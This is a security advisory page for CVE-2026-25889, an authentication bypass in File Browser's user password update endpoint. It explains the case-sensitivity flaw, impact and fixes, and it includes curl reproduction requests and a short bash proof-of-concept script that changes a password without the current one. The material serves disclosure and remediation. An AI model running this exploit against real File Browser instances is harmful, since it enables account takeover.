Skip to content

GHSA-hxw8-4h9j-hq2r CVE-2026-25889 GO-2026-4475

File Browser has an Authentication Bypass in User Password Update

Medium Go
Severity
5.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.37%
Chance of exploitation in the next 30 days. Higher than 30.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-178 Improper Handling of Case Sensitivity
Fix
2.57.1
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Security Advisory: Authentication Bypass in User Password Update

Summary

A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.

CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)


Details

The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).

Vulnerable Code
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
    var sensibleFields = map[string]struct{}{
        "all":          {},
        "username":     {},
        "password":     {},  // lowercase
        "scope":        {},
        "lockPassword": {},
        "commands":     {},
        "perm":         {},
    }

    for _, field := range req.Which {
        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup
            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
            }
            break
        }
    }
}
Root Cause
  1. The sensibleFields map uses lowercase keys (e.g., "password")
  2. The lookup sensibleFields[field] is case-sensitive
  3. When req.Which contains "Password" (Title Case), the lookup returns false
  4. The password verification block is skipped entirely
  5. Later in the code (line 229), field names are converted to Title Case for processing, so "Password" is a valid field name
Attack Flow
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
   - which: ["Password"]  (Title Case - bypasses validation)
   - data.password: "attacker_password"
   - NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access

PoC

Prerequisites
  • A valid JWT token for any user account
  • Target Filebrowser instance using JSON authentication (default)
Reproduction Steps

Step 1: Obtain a valid JWT token

TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"victim","password":"victim_password"}')

Step 2: Attempt normal password change (should fail)

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["password"],
    "data": {"id": 1, "password": "NewPassword123456"}
  }'
# Response: 400 Bad Request (the current password is incorrect)

Step 3: Bypass with Title Case (succeeds without current_password)

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["Password"],
    "data": {"id": 1, "password": "HackedPassword123"}
  }'
# Response: 200 OK

Step 4: Verify account takeover

# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
  -d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden

# New password works
curl -s -X POST "http://target:8080/api/login" \
  -d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token
Automated PoC Script
#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>

TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"

# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")

# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")

# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"what\": \"user\",
    \"which\": [\"Password\"],
    \"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
  }"

echo "Password changed to: $NEW_PASS"

Impact

Who is Impacted
  • All Filebrowser users using JSON authentication method (default configuration)
  • Any user whose JWT token can be obtained by an attacker
  • Particularly high-value targets: administrator accounts
Attack Scenarios
Scenario Impact
XSS + Token Theft Complete account takeover
JWT in Server Logs Mass account compromise
Shared Computer Session hijacking
Malicious Browser Extension Credential theft
Security Impact
Category Severity
Confidentiality High - Attacker gains full account access
Integrity High - Attacker can modify all user data
Availability High - Legitimate user locked out
Scope
  • The vulnerability affects password modification only
  • Other sensitive fields (Username, Scope, Perm, etc.) have additional protection via NonModifiableFieldsForNonAdmin check
  • However, for administrators, all fields can be modified using this bypass technique

Suggested Fix

Option 1: Case-insensitive field matching (Recommended)
// Convert field to lowercase before checking
for _, field := range req.Which {
    if _, ok := sensibleFields[strings.ToLower(field)]; ok {
        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
        }
        break
    }
}
Option 2: Use Title Case in sensibleFields
var sensibleFields = map[string]struct{}{
    "All":          {},
    "Username":     {},
    "Password":     {},  // Title Case to match post-transformation
    "Scope":        {},
    "LockPassword": {},
    "Commands":     {},
    "Perm":         {},
}

// Check AFTER field name transformation
for k, v := range req.Which {
    v = cases.Title(language.English, cases.NoLower).String(v)
    req.Which[k] = v
    
    // Now check with Title Case
    if _, ok := sensibleFields[v]; ok {
        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
        }
        break
    }
}

References

  • Affected File: http/users.go
  • Affected Lines: 181-200
  • Related Code: NonModifiableFieldsForNonAdmin (line 17)

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.57.1
2.57.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.57.1

go
go get github.com/filebrowser/filebrowser/v2@v2.57.1 && go mod tidy

Severity breakdown

CVSS 3.1 5.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-178: Improper Handling of Case Sensitivity

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

How to prevent it
  • Architecture and Design: Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor